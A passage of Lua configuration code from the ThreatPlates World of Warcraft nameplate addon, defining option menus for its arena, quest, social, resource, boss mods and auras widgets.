name = L["Show Orb"],
order = 10,
type = "toggle",
arg = { "arenaWidget", "ShowOrb" } ,
},
Size = GetSizeEntryDefault(20, "arenaWidget" ),
Colors = {
name = L["Colors"],
type = "group",
inline = true,
order = 30,
get = GetColorAlpha,
set = SetColorAlpha,
-- disabled = function() return not db.arenaWidget.ON end,
args = {
Arena1 = {
name = L["Arena 1"],
type = "color",
order = 1,
hasAlpha = true,
arg = { "arenaWidget", "colors", 1 },
},
Arena2 = {
name = L["Arena 2"],
type = "color",
order = 2,
hasAlpha = true,
arg = { "arenaWidget", "colors", 2 },
},
Arena3 = {
name = L["Arena 3"],
type = "color",
order = 3,
hasAlpha = true,
arg = { "arenaWidget", "colors", 3 },
},
Arena4 = {
name = L["Arena 4"],
type = "color",
order = 4,
hasAlpha = true,
arg = { "arenaWidget", "colors", 4 },
},
Arena5 = {
name = L["Arena 5"],
type = "color",
order = 5,
hasAlpha = true,
arg = { "arenaWidget", "colors", 5 },
},
},
},
},
},
Numbers = {
name = L["Arena Number"],
type = "group",
inline = true,
order = 20,
args = {
EnableNumbers = {
name = L["Show Number"],
order = 10,
type = "toggle",
arg = {"arenaWidget", "ShowNumber"},
},
HideUnitName = {
name = L["Hide Name"],
order = 20,
type = "toggle",
arg = {"arenaWidget", "HideName"},
},
Font = GetFontEntryDefault(L["Font"], 30, { "arenaWidget", "NumberText" }),
Placement = {
type = "group",
order = 35,
name = L["Placement"],
inline = true,
args = {
Anchor = {
type = "select",
order = 10,
name = L["Anchor Point"],
values = Addon.ANCHOR_POINT,
arg = { "arenaWidget", "NumberText", "Anchor" }
},
InsideAnchor = {
type = "toggle",
order = 15,
name = L["Inside"],
width = "half",
arg = { "arenaWidget", "NumberText", "InsideAnchor" }
},
X = {
type = "range",
order = 20,
name = L["Horizontal Offset"],
max = 120,
min = -120,
step = 1,
isPercent = false,
arg = { "arenaWidget", "NumberText", "HorizontalOffset" },
},
Y = {
type = "range",
order = 30,
name = L["Vertical Offset"],
max = 120,
min = -120,
step = 1,
isPercent = false,
arg = { "arenaWidget", "NumberText", "VerticalOffset" },
},
AlignX = {
type = "select",
order = 40,
name = L["Horizontal Align"],
values = t.AlignH,
arg = { "arenaWidget", "NumberText", "Font", "HorizontalAlignment" },
},
AlignY = {
type = "select",
order = 50,
name = L["Vertical Align"],
values = t.AlignV,
arg = { "arenaWidget", "NumberText", "Font", "VerticalAlignment" },
},
},
},
numColors = {
name = L["Colors"],
type = "group",
inline = true,
order = 40,
get = GetColorAlpha,
set = SetColorAlpha,
-- disabled = function() return not db.arenaWidget.ON end,
args = {
Arena1 = {
name = L["Arena 1"],
type = "color",
order = 1,
hasAlpha = true,
arg = { "arenaWidget", "numColors", 1 },
},
Arena2 = {
name = L["Arena 2"],
type = "color",
order = 2,
hasAlpha = true,
arg = { "arenaWidget", "numColors", 2 },
},
Arena3 = {
name = L["Arena 3"],
type = "color",
order = 3,
hasAlpha = true,
arg = { "arenaWidget", "numColors", 3 },
},
Arena4 = {
name = L["Arena 4"],
type = "color",
order = 4,
hasAlpha = true,
arg = { "arenaWidget", "numColors", 4 },
},
Arena5 = {
name = L["Arena 5"],
type = "color",
order = 5,
hasAlpha = true,
arg = { "arenaWidget", "numColors", 5 },
},
},
},
},
},
Placement = GetPlacementEntryWidget(60, "arenaWidget", false),
},
}
return options
end
local function CreateQuestWidgetOptions()
local options = {
name = L["Quest"],
order = 100,
type = "group",
args = {
Enable = GetEnableEntry(L["Enable Quest Widget"], L["This widget shows a quest icon above unit nameplates or colors the nameplate healthbar of units that are involved with any of your current quests."], "questWidget", true,
function(info, val)
SetValue(info, val) -- SetValue because nameplate healthbars must be updated (if healthbar mode is enabled)
if db.questWidget.ON or db.questWidget.ShowInHeadlineView then
SetCVar("showQuestTrackingTooltips", 1)
end
Addon.Widgets:InitializeWidget("Quest")
end),
Visibility = { type = "group", order = 10, name = L["Visibility"], inline = true,
-- disabled = function() return not db.questWidget.ON end,
args = {
InCombatAll = { type = "toggle", order = 10, name = L["Hide in Combat"], arg = {"questWidget", "HideInCombat"}, },
InCombatAttacked = { type = "toggle", order = 20, name = L["Hide on Attacked Units"], arg = {"questWidget", "HideInCombatAttacked"}, },
InInstance = { type = "toggle", order = 30, name = L["Hide in Instance"], arg = {"questWidget", "HideInInstance"}, },
ShowQuestProgress = { name = L["Quest Progress"], order = 10, type = "toggle", arg = {"questWidget", "ShowProgress"}, desc = L["Show the amount you need to loot or kill"] },
},
},
ModeHealthBar = {
name = L["Healthbar Mode"], order = 20, type = "group", inline = true,
-- disabled = function() return not db.questWidget.ON end,
args = {
Help = {
type = "description",
order = 0,
width = "full",
name = L["Use a custom color for the healthbar of quest mobs."],
},
Enable = { type = "toggle", order = 10, name = L["Enable"], arg = {"questWidget", "ModeHPBar"}, },
Color = {
name = L["Color"], type = "color", desc = "", descStyle = "inline", width = "half",
get = GetColor, set = SetColor, arg = {"questWidget", "HPBarColor"},
order = 20,
-- disabled = function() return not db.questWidget.ModeHPBar end,
},
},
},
ModeIcon = {
name = L["Icon Mode"], order = 301, type = "group", inline = true,
-- disabled = function() return not db.questWidget.ON end,
args = {
Help = { type = "description", order = 0, width = "full", name = L["Show an quest icon at the nameplate for quest mobs."], },
Enable = {
name = L["Enable"],
order = 10,
type = "toggle",
width = "half",
arg = {"questWidget", "ModeIcon"},
},
Texture = {
name = L["Symbol"],
type = "group",
inline = true,
args = {
Select = {
name = L["Style"],
type = "select",
order = 10,
set = function(info, val)
SetValue(info, val)
options.args.Widgets.args.QuestWidget.args.ModeIcon.args.Texture.args.Preview.image = "Interface\\AddOns\\TidyPlates_ThreatPlates\\Widgets\\QuestWidget\\" .. db.questWidget.IconTexture;
end,
values = { QUESTICON = L["Blizzard"], SKULL = L["Skull"] },
arg = { "questWidget", "IconTexture" },
},
Preview = {
name = L["Preview"],
order = 20,
type = "execute",
image = "Interface\\AddOns\\TidyPlates_ThreatPlates\\Widgets\\QuestWidget\\" .. db.questWidget.IconTexture,
},
PlayerColor = {
name = L["Color"],
order = 30,
type = "color",
get = GetColor,
set = SetColor,
arg = {"questWidget", "ColorPlayerQuest"},
--desc = L["Your own quests that you have to complete."],
},
},
},
},
},
},
}
AddLayoutOptions(options.args.ModeIcon.args, 20, "questWidget")
return options
end
local function CreateStealthWidgetOptions()
local options = {
name = L["Stealth"],
order = 80,
type = "group",
args = {
Enable = GetEnableEntry(L["Enable Stealth Widget"], L["This widget shows a stealth icon on nameplates of units that can detect stealth."], "stealthWidget", true, function(info, val) SetValuePlain(info, val); Addon.Widgets:InitializeWidget("Stealth") end),
Layout = {
name = L["Layout"],
order = 10,
type = "group",
inline = true,
args = {},
}
},
}
AddLayoutOptions(options.args.Layout.args, 80, "stealthWidget")
return options
end
local function CreateHealerTrackerWidgetOptions()
local options = {
name = L["Healer Tracker"],
order = 60,
type = "group",
args = {
Enable = GetEnableEntry(L["Enable Healer Tracker Widget"], L["This widget shows players that are healers."], "healerTracker", true, function(info, val) SetValuePlain(info, val); Addon.Widgets:InitializeWidget("HealerTracker") end),
Layout = {
name = L["Layout"],
order = 10,
type = "group",
inline = true,
args = {},
}
},
}
AddLayoutOptions(options.args.Layout.args, 80, "healerTracker")
return options
end
local function CreateTargetArtWidgetOptions()
local options = {
name = L["Target Highlight"],
type = "group",
order = 90,
args = {
Enable = GetEnableEntry(L["Enable Target Highlight Widget"], L["This widget highlights the nameplate of your current target by showing a border around the healthbar and by coloring the nameplate's healtbar and/or name with a custom color."], "targetWidget", false, function(info, val) SetValuePlain(info, val); Addon.Widgets:InitializeWidget("TargetArt") end),
Texture = {
name = L["Texture"],
order = 10,
type = "group",
inline = true,
args = {
Preview = {
name = L["Preview"],
order = 10,
type = "execute",
image = "Interface\\AddOns\\TidyPlates_ThreatPlates\\Widgets\\TargetArtWidget\\" .. db.targetWidget.theme,
imageWidth = 128,
imageHeight = 32,
},
Select = {
name = L["Style"],
type = "select",
order = 20,
set = function(info, val)
SetValueWidget(info, val)
options.args.Widgets.args.TargetArtWidget.args.Texture.args.Preview.image = "Interface\\AddOns\\TidyPlates_ThreatPlates\\Widgets\\TargetArtWidget\\" .. db.targetWidget.theme;
end,
values = { default = "Default", squarethin = "Thin Square", arrows = "Arrows", crescent = "Crescent", bubble = "Bubble" },
arg = { "targetWidget", "theme" },
},
Color = {
name = L["Color"],
type = "color",
order = 30,
width = "half",
get = GetColorAlpha,
set = SetColorAlphaWidget,
hasAlpha = true,
arg = { "targetWidget" },
},
},
},
TargetColor = {
name = L["Nameplate Color"],
order = 20,
type = "group",
inline = true,
args = {
TargetColor = {
name = L["Color"],
order = 10,
type = "color",
get = GetColor,
set = SetColorWidget,
arg = {"targetWidget", "HPBarColor"},
},
EnableHealthbar = {
name = L["Healthbar"],
desc = L["Use a custom color for the healthbar of your current target."],
order = 20,
type = "toggle",
arg = {"targetWidget", "ModeHPBar"},
},
EnableName = {
name = L["Name"],
desc = L["Use a custom color for the name of your current target (in healthbar view and in headline view)."],
order = 30,
type = "toggle",
arg = {"targetWidget", "ModeNames"},
},
},
},
},
}
return options
end
local function CreateSocialWidgetOptions()
local options = {
name = L["Social"],
type = "group",
order = 70,
args = {
Enable = GetEnableEntry(L["Enable Social Widget"], L["This widget shows icons for friends, guild members, and faction on nameplates."], "socialWidget", true, function(info, val) SetValuePlain(info, val); Addon.Widgets:InitializeWidget("Social") end),
Friends = {
name = L["Friends & Guild Members"],
order = 10,
type = "group",
inline = true,
args = {
ModeIcon = {
name = L["Icon Mode"],
order = 10,
type = "group",
inline = true,
args = {
Show = {
name = L["Enable"],
order = 5,
type = "toggle",
width = "half",
desc = L["Shows an icon for friends and guild members next to the nameplate of players."],
set = function(info, val) SetValuePlain(info, val); Addon.Widgets:InitializeWidget("Social") end,
arg = { "socialWidget", "ShowFriendIcon" },
--disabled = function() return not (db.socialWidget.ON or db.socialWidget.ShowInHeadlineView) end,
},
Size = GetSizeEntryDefault(10, "socialWidget"),
--Anchor = GetAnchorEntry(20, "socialWidget"),
Offset = GetPlacementEntryWidget(30, "socialWidget", true),
},
},
ModeHealthBar = {
name = L["Healthbar Mode"],
order = 20,
type = "group",
inline = true,
args = {
Help = { type = "description", order = 0, width = "full", name = L["Use a custom color for healthbar (in healthbar view) or name (in headline view) of friends and/or guild members."], },
EnableFriends = {
name = L["Enable Friends"],
order = 10,
type = "toggle",
arg = {"socialWidget", "ShowFriendColor"},
},
ColorFriends = {
name = L["Color"],
order = 20,
type = "color",
get = GetColor,
set = SetColor,
arg = {"socialWidget", "FriendColor"},
},
EnableGuildmates = {
name = L["Enable Guild Members"],
order = 30,
type = "toggle",
arg = {"socialWidget", "ShowGuildmateColor"},
},
ColorGuildmates = {
name = L["Color"],
order = 40,
type = "color",
get = GetColor,
set = SetColor,
arg = {"socialWidget", "GuildmateColor"},
},
},
},
},
},
Faction = {
name = L["Faction Icon"],
order = 20,
type = "group",
inline = true,
args = {
Show = {
name = L["Enable"],
order = 5,
type = "toggle",
width = "half",
desc = L["Shows a faction icon next to the nameplate of players."],
arg = { "socialWidget", "ShowFactionIcon" },
-- disabled = function() return not (db.socialWidget.ON or db.socialWidget.ShowInHeadlineView) end,
},
Size = GetSizeEntryDefault(10, "FactionWidget"),
Offset = GetPlacementEntryWidget(30, "FactionWidget", true),
},
},
},
}
return options
end
local function CreateResourceWidgetOptions()
local options = {
name = L["Resource"],
type = "group",
order = 60,
set = SetValueWidget,
args = {
Enable = GetEnableEntry(L["Enable Resource Widget"], L["This widget shows information about your target's resource on your target nameplate. The resource bar's color is derived from the type of resource automatically."], "ResourceWidget", false, function(info, val) SetValuePlain(info, val); Addon.Widgets:InitializeWidget("Resource") end),
ShowFor = {
name = L["Show For"],
order = 10,
type = "group",
inline = true,
args = {
ShowFriendly = {
name = L["Friendly Units"],
order = 10,
type = "toggle",
arg = { "ResourceWidget", "ShowFriendly" },
},
ShowEnemyPlayers = {
name = L["Enemy Players"],
order = 20,
type = "toggle",
arg = { "ResourceWidget", "ShowEnemyPlayer" },
},
ShowEnemyNPCs = {
name = L["Enemy NPCs"],
order = 30,
order = 30,
type = "toggle",
arg = { "ResourceWidget", "ShowEnemyNPC" },
},
ShowBigUnits = {
name = L["Rares & Bosses"],
order = 40,
type = "toggle",
desc = L["Shows resource information for bosses and rares."],
arg = { "ResourceWidget", "ShowEnemyBoss" },
},
ShowOnlyAlternatePower = {
name = L["Only Alternate Power"],
order = 50,
type = "toggle",
desc = L["Shows resource information only for alternatve power (of bosses or rares, mostly)."],
arg = { "ResourceWidget", "ShowOnlyAltPower" },
},
},
},
Bar = {
name = L["Resource Bar"],
order = 20,
type = "group",
inline = true,
args = {
Show = {
name = L["Enable"],
order = 5,
type = "toggle",
arg = { "ResourceWidget", "ShowBar" },
},
BarTexture = {
name = L["Foreground Texture"],
order = 10,
type = "select",
dialogControl = "LSM30_Statusbar",
values = AceGUIWidgetLSMlists.statusbar,
arg = { "ResourceWidget", "BarTexture" },
},
BarWidth = { name = L["Bar Width"], order = 20, type = "range", min = 1, max = 500, step = 1, arg = { "ResourceWidget", "BarWidth" }, },
BarHeight = { name = L["Bar Height"], order = 30, type = "range", min = 1, max = 500, step = 1, arg = { "ResourceWidget", "BarHeight" }, },
Spacer0 = GetSpacerEntry(70),
BorderTexture = {
name = L["Bar Border"],
order = 80,
type = "select",
dialogControl = "LSM30_Border",
values = AceGUIWidgetLSMlists.border,
arg = { "ResourceWidget", "BorderTexture" },
},
BorderEdgeSize = {
name = L["Edge Size"],
order = 90,
type = "range",
min = 0, max = 32, step = 1,
arg = { "ResourceWidget", "BorderEdgeSize" },
},
BorderOffset = {
name = L["Offset"],
order = 100,
type = "range",
min = -16, max = 16, step = 1,
arg = { "ResourceWidget", "BorderOffset" },
},
Spacer1 = GetSpacerEntry(200),
BGColorText = {
type = "description",
order = 210,
width = "single",
name = L["Background Color:"],
},
BGColorForegroundToggle = {
name = L["Same as Foreground"],
order = 220,
type = "toggle",
desc = L["Use the healthbar's foreground color also for the background."],
arg = { "ResourceWidget", "BackgroundUseForegroundColor" },
},
BGColorCustomToggle = {
name = L["Custom"],
order = 230,
type = "toggle",
width = "half",
desc = L["Use a custom color for the healtbar's background."],
set = function(info, val) SetValueWidget(info, not val) end,
get = function(info, val) return not GetValue(info, val) end,
arg = { "ResourceWidget", "BackgroundUseForegroundColor" },
},
BGColorCustom = {
name = L["Color"],
type = "color",
order = 235,
get = GetColorAlpha,
set = SetColorAlphaWidget,
hasAlpha = true,
arg = {"ResourceWidget", "BackgroundColor"},
width = "half",
},
Spacer2 = GetSpacerEntry(300),
BorderolorText = {
type = "description",
order = 310,
width = "single",
name = L["Border Color:"],
},
BorderColorForegroundToggle = {
name = L["Same as Foreground"],
order = 320,
type = "toggle",
desc = L["Use the healthbar's foreground color also for the border."],
set = function(info, val)
if val then
db.ResourceWidget.BorderUseBackgroundColor = false
SetValueWidget(info, val);
else
db.ResourceWidget.BorderUseBackgroundColor = false
SetValueWidget(info, val);
end
end,
--get = function(info, val) return not (db.ResourceWidget.BorderUseForegroundColor or db.ResourceWidget.BorderUseBackgroundColor) end,
arg = { "ResourceWidget", "BorderUseForegroundColor" },
},
BorderColorBackgroundToggle = {
name = L["Same as Background"],
order = 325,
type = "toggle",
desc = L["Use the healthbar's background color also for the border."],
set = function(info, val)
if val then
db.ResourceWidget.BorderUseForegroundColor = false
SetValueWidget(info, val);
else
db.ResourceWidget.BorderUseForegroundColor = false
SetValueWidget(info, val);
end
end,
arg = { "ResourceWidget", "BorderUseBackgroundColor" },
},
BorderColorCustomToggle = {
name = L["Custom"],
order = 330,
type = "toggle",
width = "half",
desc = L["Use a custom color for the healtbar's border."],
set = function(info, val) db.ResourceWidget.BorderUseForegroundColor = false; db.ResourceWidget.BorderUseBackgroundColor = false; Addon:ForceUpdate() end,
get = function(info, val) return not (db.ResourceWidget.BorderUseForegroundColor or db.ResourceWidget.BorderUseBackgroundColor) end,
arg = { "ResourceWidget", "BackgroundUseForegroundColor" },
},
BorderColorCustom = {
name = L["Color"],
type = "color",
order = 335,
get = GetColorAlpha,
set = SetColorAlphaWidget,
hasAlpha = true,
arg = {"ResourceWidget", "BorderColor"},
width = "half",
},
},
},
Text = {
name = L["Resource Text"],
order = 30,
type = "group",
inline = true,
args = {
Show = {
name = L["Enable"],
order = 5,
type = "toggle",
width = "half",
arg = { "ResourceWidget", "ShowText" },
},
Font = { name = L["Typeface"], type = "select", order = 10, dialogControl = "LSM30_Font", values = AceGUIWidgetLSMlists.font, arg = { "ResourceWidget", "Font" }, },
FontSize = { name = L["Size"], order = 20, type = "range", min = 1, max = 36, step = 1, arg = { "ResourceWidget", "FontSize" }, },
FontColor = { name = L["Color"], type = "color", order = 30, get = GetColor, set = SetColorWidget, arg = {"ResourceWidget", "FontColor"}, hasAlpha = false, },
},
},
Placement = GetPlacementEntryWidget(40, "ResourceWidget"),
},
}
return options
end
local function CreateBossModsWidgetOptions()
local entry = {
name = L["Boss Mods"],
type = "group",
order = 30,
args = {
Enable = GetEnableEntry(L["Enable Boss Mods Widget"], L["This widget shows auras from boss mods on your nameplates (since patch 7.2, hostile nameplates only in instances and raids)."], "BossModsWidget", true, function(info, val) SetValuePlain(info, val); Addon.Widgets:InitializeWidget("BossMods") end),
Aura = {
name = L["Aura Icon"],
type = "group",
order = 10,
inline = true,
args = {
Font = {
name = L["Font"],
type = "group",
order = 10,
inline = true,
args = {
Font = { name = L["Typeface"], type = "select", order = 10, dialogControl = "LSM30_Font", values = AceGUIWidgetLSMlists.font, arg = { "BossModsWidget", "Font" }, },
FontSize = { name = L["Size"], order = 20, type = "range", min = 1, max = 36, step = 1, arg = { "BossModsWidget", "FontSize" }, },
FontColor = { name = L["Color"], type = "color", order = 30, get = GetColor, set = SetColorWidget, arg = {"BossModsWidget", "FontColor"}, hasAlpha = false, },
},
},
Layout = {
name = L["Layout"],
order = 20,
type = "group",
inline = true,
args = {
Size = GetSizeEntry(L["Size"], 10, {"BossModsWidget", "scale" } ),
Spacing = { name = L["Spacing"], order = 20, type = "range", min = 0, max = 100, step = 1, arg = { "BossModsWidget", "AuraSpacing" }, },
},
} ,
},
},
Placement = GetPlacementEntryWidget(30, "BossModsWidget", true),
Config = {
name = L["Configuration Mode"],
order = 40,
type = "group",
inline = true,
args = {
Toggle = {
name = L["Toggle on Target"],
type = "execute",
order = 1,
width = "full",
func = function() Addon:ConfigBossModsWidget() end,
},
},
},
},
}
return entry
end
local function CreateAurasWidgetOptions()
local options = {
name = L["Auras"],
type = "group",
childGroups = "tab",
order = 25,
set = SetValueWidget,
args = {
Enable = GetEnableEntry(L["Enable Auras Widget"], L["This widget shows a unit's auras (buffs and debuffs) on its nameplate."], "AuraWidget", true, function(info, val) SetValuePlain(info, val); Addon.Widgets:InitializeWidget("Auras") end),
Style = {
name = L["Appearance"],
order = 10,
type = "group",
inline = false,
args = {
Style = {
type = "group",
order = 10,
name = L["Auras"],
inline = true,
args = {
TargetOnly = {
name = L["Target Only"],
type = "toggle",
order = 10,
desc = L["This will toggle the auras widget to only show for your current target."],
arg = { "AuraWidget", "ShowTargetOnly" },
},
CooldownSpiral = {
name = L["Cooldown Spiral"],
type = "toggle",
order = 20,
desc = L["This will toggle the auras widget to show the cooldown spiral on auras."],
arg = { "AuraWidget", "ShowCooldownSpiral" },
},
Time = {
name = L["Duration"],
type = "toggle",
order = 30,
desc = L["Show time left on auras that have a duration."],
arg = { "AuraWidget", "ShowDuration" },
disabled = function() return db.AuraWidget.ShowOmniCC end
},
OmniCC = {
name = L["OmniCC"],
type = "toggle",
order = 35,
desc = L["Show the OmniCC cooldown count instead of the built-in duration text on auras."],
arg = { "AuraWidget", "ShowOmniCC" },
},
Stacks = {
name = L["Stack Count"],
type = "toggle",
order = 40,
desc = L["Show stack count on auras."],
arg = { "AuraWidget", "ShowStackCount" },
},
Tooltips = {
name = L["Tooltips"],
type = "toggle",
order = 43,
desc = L["Show a tooltip when hovering above an aura."],
arg = { "AuraWidget", "ShowTooltips" },
},
-- Spacer1 = GetSpacerEntry(45),
-- AuraTypeColors = {
-- name = L["Color by Dispel Type"],
-- type = "toggle",
-- order = 50,
-- desc = L["This will color the aura based on its type (poison, disease, magic, curse) - for Icon Mode the icon border is colored, for Bar Mode the bar itself."],
-- arg = { "AuraWidget", "ShowAuraType" },
-- },
-- DefaultBuffColor = {
-- name = L["Buff Color"], type = "color", order = 54, arg = {"AuraWidget", "DefaultBuffColor"}, hasAlpha = true,
-- set = SetColorAlphaWidget,
-- get = GetColorAlpha,
-- },
-- DefaultDebuffColor = {
-- name = L["Debuff Color"], type = "color", order = 56, arg = {"AuraWidget","DefaultDebuffColor"}, hasAlpha = true,
-- set = SetColorAlphaWidget,
-- get = GetColorAlpha,
-- },
},
},
Highlight = {
type = "group",
order = 15,
name = L["Highlight"],
inline = true,
args = {
AuraTypeColors = {
name = L["Dispel Type"],
type = "toggle",
order = 10,
desc = L["This will color the aura based on its type (poison, disease, magic, curse) - for Icon Mode the icon border is colored, for Bar Mode the bar itself."],
arg = { "AuraWidget", "ShowAuraType" },
},
DefaultBuffColor = {
name = L["Buff Color"],
type = "color",
order = 20,
arg = {"AuraWidget", "DefaultBuffColor"},
hasAlpha = true,
set = SetColorAlphaWidget,
get = GetColorAlpha,
},
DefaultDebuffColor = {
name = L["Debuff Color"],
type = "color",
order = 30,
arg = {"AuraWidget","DefaultDebuffColor"},
hasAlpha = true,
set = SetColorAlphaWidget,
get = GetColorAlpha,
},
Spacer1 = GetSpacerEntry(35),
EnableGlow = {
name = L["Steal or Purge Glow"],
type = "toggle",
order = 40,
desc = L["Shows a glow effect on auras that you can steal or purge."],
arg = { "AuraWidget", "Highlight", "Enabled" },
},
GlowType = {
name = L["Glow Type"],
type = "select",
values = Addon.GLOW_TYPES,
order = 50,
arg = { "AuraWidget", "Highlight", "Type" },
},
GlowColorEnable = {
name = L["Glow Color"],
type = "toggle",
order = 60,
arg = { "AuraWidget", "Highlight", "CustomColor" },
},
GlowColor = {
name = L["Color"],
type = "color",
order = 70,
arg = {"AuraWidget", "Highlight", "Color" },
hasAlpha = true,
set = SetColorAlphaWidget,
get = GetColorAlpha,
},
},
},
SortOrder = {
type = "group",
order = 20,
name = L["Sort Order"],
inline = true,
args = {
NoSorting = {
name = L["None"], type = "toggle", order = 0, width = "half",
desc = L["Do not sort auras."],
get = function(info) return db.AuraWidget.SortOrder == "None" end,
set = function(info, value) SetValueWidget(info, "None") end,
arg = {"AuraWidget","SortOrder"},
},
AtoZ = {
name = L["A to Z"], type = "toggle", order = 10, width = "half",
desc = L["Sort in ascending alphabetical order."],
get = function(info) return db.AuraWidget.SortOrder == "AtoZ" end,
set = function(info, value) SetValueWidget(info, "AtoZ") end,
arg = {"AuraWidget","SortOrder"},
},
TimeLeft = {
name = L["Time Left"], type = "toggle", order = 20, width = "half",
desc = L["Sort by time left in ascending order."],
get = function(info) return db.AuraWidget.SortOrder == "TimeLeft" end,
set = function(info, value) SetValueWidget(info, "TimeLeft") end,
arg = {"AuraWidget","SortOrder"},
},
Duration = {
name = L["Duration"], type = "toggle", order = 30, width = "half",
desc = L["Sort by overall duration in ascending order."],
get = function(info) return db.AuraWidget.SortOrder == "Duration" end,
set = function(info, value) SetValueWidget(info, "Duration") end,
arg = {"AuraWidget","SortOrder"},
},
Creation = {
name = L["Creation"], type = "toggle", order = 40, width = "half",
desc = L["Show auras in order created with oldest aura first."],
get = function(info) return db.AuraWidget.SortOrder == "Creation" end,
set = function(info, value) SetValueWidget(info, "Creation") end,
arg = {"AuraWidget","SortOrder"},
},
ReverseOrder = {
name = L["Reverse"], type = "toggle", order = 50,
desc = L['Reverse the sort order (e.g., "A to Z" becomes "Z to A").'],
arg = { "AuraWidget", "SortReverse" }
},
},
},
Layout = {
type = "group",
order = 30,
name = L["Layout"],
inline = true,
args = {
Layering = {
name = L["Frame Order"],
order = 10,
type = "select",
values = { HEALTHBAR_AURAS = L["Healthbar, Auras"], AURAS_HEALTHBAR = L["Auras, Healthbar"] },
arg = { "AuraWidget", "FrameOrder" },
},
Scale = {
name = L["Scale"],
type = "group",
inline = true,
order = 20,
args = {
ScaleDebuffs = GetScaleEntry(L["Debuffs"], 10, { "AuraWidget", "Debuffs", "Scale", }),
ScaleBuffs = GetScaleEntry(L["Buffs"], 20, { "AuraWidget", "Buffs", "Scale", }),
ScaleCrowdControl = GetScaleEntry(L["Crowd Control"], 30, { "AuraWidget", "CrowdControl", "Scale", }),
Reverse = {
type = "toggle",
order = 50,
name = L["Swap By Reaction"],
desc = L["Switch scale values for debuffs and buffs for friendly units."],
arg = { "AuraWidget", "SwitchScaleByReaction" }
}
},
},
Placement = {
name = L["Placement"],
type = "group",
inline = true,
order = 50,
args = {
Anchor = { name = L["Anchor Point"], order = 20, type = "select", values = Addon.ANCHOR_POINT, arg = { "AuraWidget", "anchor" } },
X = { name = L["Offset X"], order = 30, type = "range", min = -120, max = 120, step = 1, arg = { "AuraWidget", "x" }, },
Y = { name = L["Offset Y"], order = 40, type = "range", min = -120, max = 120, step = 1, arg = { "AuraWidget", "y" }, },
Spacer = GetSpacerEntry(50),
AlignmentH = {
name = L["Horizontal Alignment"],
order = 60,
type = "select",
values = { LEFT = L["Left-to-right"], RIGHT = L["Right-to-left"] },
arg = { "AuraWidget", "AlignmentH" }
},
AlignmentV = {
name = L["Vertical Alignment"],
order = 70,
type = "select",
values = { BOTTOM = L["Bottom-to-top"], TOP = L["Top-to-bottom"] },
arg = { "AuraWidget", "AlignmentV" }
},
CenterAuras = {
type = "toggle",
order = 80,
name = L["Center Auras"],
arg = { "AuraWidget", "CenterAuras" },
}
},
},
},
},
SpecialEffects = {
type = "group",
order = 40,
name = L["Special Effects"],
inline = true,
args = {
Flash = {
type = "toggle",
order = 10,
name = L["Flash When Expiring"],
arg = { "AuraWidget", "FlashWhenExpiring" },
},
FlashTime = {
type = "range",
order = 20,
name = L["Flash Time"],
step = 1,
softMin = 1,
softMax = 20,
isPercent = false,
arg = { "AuraWidget", "FlashTime" },
disabled = function() return not db.AuraWidget.FlashWhenExpiring end
},
},
},
},
},
Debuffs = {
name = L["Debuffs"],
type = "group",
order = 20,
inline = false,
args = {
FriendlyUnits = {
name = L["Friendly Units"],
type = "group",
order = 15,
inline = true,
args = {
Show = {
name = L["Show Debuffs"],
order = 10,
type = "toggle",
arg = { "AuraWidget", "Debuffs", "ShowFriendly" },
},
ShowAll = {
name = L["All"],
order = 20,
type = "toggle",
desc = L["Show all debuffs on friendly units."],
set = function(info, val)
local db = db.AuraWidget.Debuffs
if db.ShowBlizzardForFriendly or db.ShowDispellable or db.ShowBoss or
db.FilterByType[1] or db.FilterByType[2] or db.FilterByType[3] or db.FilterByType[4] then
db.ShowBlizzardForFriendly = false
db.ShowDispellable = false
db.ShowBoss = false
db.FilterByType[1] = false
db.FilterByType[2] = false
db.FilterByType[3] = false
db.FilterByType[4] = false
SetValueWidget(info, val)
end
end,
arg = { "AuraWidget", "Debuffs", "ShowAllFriendly" },
disabled = function() return not db.AuraWidget.Debuffs.ShowFriendly end
},
Blizzard = {
name = L["Blizzard"],
order = 25,
type = "toggle",
desc = L["Show debuffs that are shown on Blizzard's default nameplates."],
set = function(info, val)
local db = db.AuraWidget.Debuffs
db.ShowAllFriendly = not (val or db.ShowDispellable or db.ShowBoss or
db.FilterByType[1] or db.FilterByType[2] or db.FilterByType[3] or db.FilterByType[4])
SetValueWidget(info, val)
end,
arg = { "AuraWidget", "Debuffs", "ShowBlizzardForFriendly" },
disabled = function() return not db.AuraWidget.Debuffs.ShowFriendly end,
},
Dispellable = {
name = L["Dispellable"],
order = 40,
type = "toggle",
desc = L["Show debuffs that you can dispell."],
set = function(info, val)
local db = db.AuraWidget.Debuffs
db.ShowAllFriendly = not (val or db.ShowBlizzardForFriendly or db.ShowBoss or
db.FilterByType[1] or db.FilterByType[2] or db.FilterByType[3] or db.FilterByType[4])
SetValueWidget(info, val)
end,
arg = { "AuraWidget", "Debuffs", "ShowDispellable" },
disabled = function() return not db.AuraWidget.Debuffs.ShowFriendly end
},
Boss = {
name = L["Boss"],
order = 45,
type = "toggle",
desc = L["Show debuffs that where applied by bosses."],
set = function(info, val)
local db = db.AuraWidget.Debuffs
db.ShowAllFriendly = not (val or db.ShowBlizzardForFriendly or db.ShowDispellable or
db.FilterByType[1] or db.FilterByType[2] or db.FilterByType[3] or db.FilterByType[4])
SetValueWidget(info, val)
end,
arg = { "AuraWidget", "Debuffs", "ShowBoss" },
disabled = function() return not db.AuraWidget.Debuffs.ShowFriendly end
},
DispelTypeH = {
name = L["Dispel Type"],
type = "header",
order = 50,
},
Curses = {
name = L["Curse"],
order = 60,
type = "toggle",
get = function(info) return db.AuraWidget.Debuffs.FilterByType[1] end,
set = function(info, val)
local db = db.AuraWidget.Debuffs
db.ShowAllFriendly = not (val or db.ShowBlizzardForFriendly or db.ShowDispellable or db.ShowBoss or
db.FilterByType[2] or db.FilterByType[3] or db.FilterByType[4])
db.FilterByType[1] = val
Addon.Widgets:UpdateSettings("Auras")
end,
disabled = function() return not db.AuraWidget.Debuffs.ShowFriendly end,
},
Diseases = {
name = L["Disease"],
order = 70,
type = "toggle",
get = function(info) return db.AuraWidget.Debuffs.FilterByType[2] end,
set = function(info, val)
local db = db.AuraWidget.Debuffs
db.ShowAllFriendly = not (val or db.ShowBlizzardForFriendly or db.ShowDispellable or db.ShowBoss or
db.FilterByType[1] or db.FilterByType[3] or db.FilterByType[4])
db.FilterByType[2] = val
Addon.Widgets:UpdateSettings("Auras")
end,
disabled = function() return not db.AuraWidget.Debuffs.ShowFriendly end,
},
Magics = {
name = L["Magic"],
order = 80,
type = "toggle",
